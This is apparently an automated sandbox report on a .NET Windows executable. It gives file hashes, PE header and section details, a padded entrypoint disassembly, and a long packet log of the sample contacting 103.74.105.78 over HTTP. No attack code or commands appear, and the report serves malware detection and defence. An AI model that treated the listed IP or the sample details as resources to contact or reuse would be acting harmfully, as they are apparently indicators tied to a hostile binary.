SHA256:	fedd8446497c630316353017fe0792b158476a2fb5b7994fe5c28cfe6a830e98
SHA512:	bff7ac0cd8c8fb0bdcbc31d42dce11552d16faeaccdda283e5a3083f4f2fa6c6b87bf769cb416baa0ad626d6df0c179ccc977f013f590c3c7bc4444a1c970ed0
SSDEEP:	3072:WSdsV6on3XvxhS/ehW+IjpZ8c4gVs856TYrkPmbhUFzTPoeH+h6iNX3WsO:tsVtnnphS/lR+krjSvPdsbXt
TLSH:	EF54B5894A810635EA990E3640B1DE7143B7DF95BF6DF2466CC8F4A76F333C21992722
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u\.f................................. ........@.. ....................................`................................

File Icon


Icon Hash:	00a26f4ecaef4400

Static PE Info

General

Entrypoint:	0x42e0ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66175C75 [Thu Apr 11 03:43:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e084	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x30000	0x18c4c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2c0d4	0x2c200	2da2c3ae9da4514258ae6fb1c63e858f	False	0.44770825956090654	data	5.892367386425549	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x30000	0x18c4c	0x18e00	471fda0a9a74979c3e3ec0c7102b1d06	False	0.35244582286432163	data	3.4817163287858572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4a000	0xc	0x200	f8498c4b2797cd9503e8f01d0fcc7e50	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x3006c	0x183a8	Device independent bitmap graphic, 150 x 320 x 32, image size 96000, resolution 2834 x 2834 px/m	0.3535268037081822
RT_GROUP_ICON	0x48450	0x14	data	1.15
RT_VERSION	0x484a0	0x586	data	0.2765205091937765
RT_MANIFEST	0x48a62	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 11, 2024 10:39:51.291277885 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:51.627300024 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:51.627594948 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:51.628631115 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:51.966186047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:51.966244936 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:51.966285944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:51.966325045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:51.966348886 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:51.966434002 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.301866055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.301928043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.301964998 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.302001953 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.302042961 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.302074909 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.302076101 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.302088022 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.302128077 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.302186966 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.302340031 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.636163950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636240959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636280060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636312008 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.636317968 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636356115 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636373997 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.636394024 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636430979 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636445999 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.636468887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636507034 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636519909 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.636543989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636579990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636593103 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.636617899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636653900 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636667967 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.636691093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636729002 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.636738062 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.680551052 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.972867966 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973001957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973088026 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973102093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973144054 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973186016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973203897 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973225117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973263025 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973279953 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973304033 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973341942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973361015 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973381042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973419905 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973434925 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973459005 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973495960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973511934 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973534107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973572969 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973587990 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973612070 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973649025 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973664999 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973687887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973726034 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973740101 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973766088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973803043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973819971 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973840952 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973877907 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973892927 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973918915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973956108 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.973972082 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.973995924 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.974035025 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.974050045 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:52.974075079 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:52.974138021 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.015873909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.015921116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.016006947 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.309703112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.309859991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.309989929 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310050011 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310100079 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310168982 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310190916 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310286045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310348034 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310358047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310451031 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310489893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310514927 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310527086 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310566902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310586929 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310605049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310642958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310662031 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310684919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310722113 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310745001 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310760021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310797930 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310818911 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310833931 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310873032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310893059 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310910940 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310946941 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.310971022 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.310982943 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311022043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311043024 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311059952 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311096907 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311114073 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311137915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311176062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311197996 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311213017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311252117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311269045 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311288118 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311326027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311347008 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311362982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311398983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311418056 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311439037 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311477900 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311499119 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311516047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311553955 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311574936 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311590910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311628103 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311650991 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311664104 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311700106 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311722994 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311738968 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311774969 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311798096 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311811924 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311849117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311870098 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311887026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311924934 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311948061 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.311961889 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.311997890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312019110 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.312035084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312081099 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312094927 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.312122107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312159061 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312182903 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.312196016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312251091 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.312261105 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312300920 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.312352896 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.351535082 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.351598978 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.351638079 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.351677895 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.351870060 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.351870060 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.647965908 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648078918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648121119 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648161888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648286104 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.648287058 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.648366928 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648426056 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648494005 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.648590088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648683071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648750067 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.648777962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648865938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648933887 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.648935080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.648987055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649027109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649051905 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.649080992 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649141073 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.649177074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649269104 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649333954 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.649353027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649409056 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649468899 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.649477959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649564028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649622917 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.649679899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649754047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649813890 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.649833918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.649949074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650028944 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.650033951 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650125027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650188923 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.650211096 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650290012 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650337934 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650353909 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.650448084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650502920 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.650553942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650674105 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650738955 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650739908 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.650779963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650818110 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650839090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.650856018 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650893927 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650918007 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.650930882 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650968075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.650989056 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651005983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651041985 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651065111 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651081085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651117086 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651141882 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651154995 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651196003 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651218891 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651232004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651268959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651293039 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651304960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651341915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651365042 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651380062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651417017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651443005 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651458025 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651494026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651513100 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651531935 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651568890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651590109 CEST	49705	80	192.168.2.5	103.74.105.78
